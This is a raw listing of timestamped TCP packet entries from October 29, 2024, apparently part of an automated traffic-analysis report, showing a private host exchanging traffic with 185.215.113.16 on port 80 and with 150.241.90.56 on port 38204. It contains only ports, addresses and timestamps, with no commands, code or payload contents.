Oct 29, 2024 05:02:30.452708006 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.452719927 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.452725887 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.452725887 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.452732086 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.452747107 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.452770948 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.452972889 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.452982903 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.452992916 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453001976 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453011036 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453018904 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453027964 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.453030109 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453041077 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453047037 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.453052044 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453063965 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453066111 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.453074932 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453083992 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.453087091 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453098059 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453108072 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453116894 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453128099 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.453129053 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453154087 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.453172922 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.453357935 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453370094 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453378916 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453388929 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453398943 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453417063 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453417063 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.453428030 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453438044 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453442097 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.453449011 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453459978 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453459978 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.453470945 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453480005 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453490973 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453490973 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.453500986 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453511000 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453521967 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453531027 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453531027 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.453546047 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453553915 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.453557014 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453568935 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453576088 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453583002 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.453602076 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.453620911 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.453811884 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453824043 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453834057 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453844070 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453855038 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453869104 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453870058 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.453881025 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453901052 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.453931093 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.453954935 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453967094 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453975916 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453985929 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453995943 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.453995943 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.454009056 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.454019070 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.454027891 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.454029083 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.454039097 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.454050064 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.454058886 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.454068899 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.454071999 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.454081059 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.454092026 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.454098940 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.454109907 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.454119921 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.454122066 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.454128981 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.454138994 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.454142094 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.454153061 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.454159975 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.454164028 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.454174042 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.454183102 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.454185009 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.454195023 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.454204082 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.454209089 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.454215050 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.454226971 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.454231977 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.454236984 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.454248905 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.454252958 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.454260111 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.454269886 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.454271078 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.454282999 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.454298973 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.454339981 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.454889059 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.454900026 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.454909086 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.454919100 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.454927921 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.454938889 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.454943895 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.454946995 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.454965115 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.454974890 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.454981089 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.454982996 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.455003977 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.455005884 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.455013990 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.455024958 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.455034971 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.455045938 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.455050945 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.455050945 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.455055952 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.455066919 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.455073118 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.455076933 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.455090046 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.455101013 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.455100060 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.455111027 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.455122948 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.455127954 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.455132008 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.455142021 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.455152035 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.455161095 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.455171108 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.455169916 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.455169916 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.455180883 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.455192089 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.455194950 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.455203056 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.455214024 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.455214024 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.455224037 CET	38204	49751	150.241.90.56	192.168.2.5
Oct 29, 2024 05:02:30.455238104 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.455254078 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.501286030 CET	49751	38204	192.168.2.5	150.241.90.56
Oct 29, 2024 05:02:30.509588003 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.509609938 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.509619951 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.509632111 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.509656906 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.509687901 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.509691954 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.509704113 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.509733915 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.509751081 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.509764910 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.509776115 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.509793997 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.509803057 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.509819984 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.509836912 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.509838104 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.509849072 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.509857893 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.509869099 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.509881020 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.509905100 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.509912968 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.509924889 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.509933949 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.509948969 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.509974003 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.510442019 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.510488033 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.510492086 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.510498047 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.510535002 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.510554075 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.510560989 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.510574102 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.510584116 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.510593891 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.510608912 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.510617971 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.510622025 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.510626078 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.510646105 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.510682106 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.510693073 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.510710955 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.510724068 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.510747910 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.510770082 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.510785103 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.510797024 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.510806084 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.510812044 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.510829926 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.510854959 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.511292934 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.511303902 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.511320114 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.511332989 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.511348009 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.511358976 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.511368990 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.511379004 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.511404991 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.511416912 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.511436939 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.511447906 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.511461020 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.511492014 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.511508942 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.511512995 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.511519909 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.511531115 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.511554956 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.511589050 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.511620045 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.511629105 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.511632919 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.511642933 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.511651993 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.511662006 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.511676073 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.511702061 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.511703014 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.511738062 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.511765957 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.511775970 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.511797905 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.511801004 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.511809111 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.511816025 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.511838913 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.511868000 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.511871099 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.511879921 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.511914015 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.511920929 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.511928082 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.511938095 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.511948109 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.511981964 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.511998892 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.512012959 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.512023926 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.512034893 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.512053013 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.512061119 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.512079954 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.512110949 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.512121916 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.512130976 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.512152910 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.512156963 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.512173891 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.512190104 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.512248993 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.512303114 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.512324095 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.512334108 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.512346983 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.512376070 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.512382030 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.512392998 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.512399912 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.512438059 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.530041933 CET	38204	49751	150.241.90.56	192.168.2.5
Oct 29, 2024 05:02:30.579386950 CET	49751	38204	192.168.2.5	150.241.90.56
Oct 29, 2024 05:02:30.627151966 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.627171040 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.627182007 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.627193928 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.627203941 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.627213001 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.627223969 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.627226114 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.627233982 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.627245903 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.627254009 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.627264023 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.627274990 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.627276897 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.627286911 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.627296925 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.627300978 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.627341986 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.627901077 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.627948046 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.627959013 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.627969980 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.627980947 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.628011942 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.628032923 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.628053904 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.628065109 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.628074884 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.628086090 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.628107071 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.628137112 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.628144979 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.628221989 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.628607035 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.628617048 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.628627062 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.628637075 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.628648043 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.628657103 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.628664970 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.628685951 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.628725052 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.628762007 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.628772974 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.628783941 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.628794909 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.628803968 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.628814936 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.628820896 CET	49735	80	192.168.2.5	185.215.113.16
Oct 29, 2024 05:02:30.628825903 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.628839970 CET	80	49735	185.215.113.16	192.168.2.5
Oct 29, 2024 05:02:30.628849030 CET	80	49735	185.215.113.16	192.168.2.5
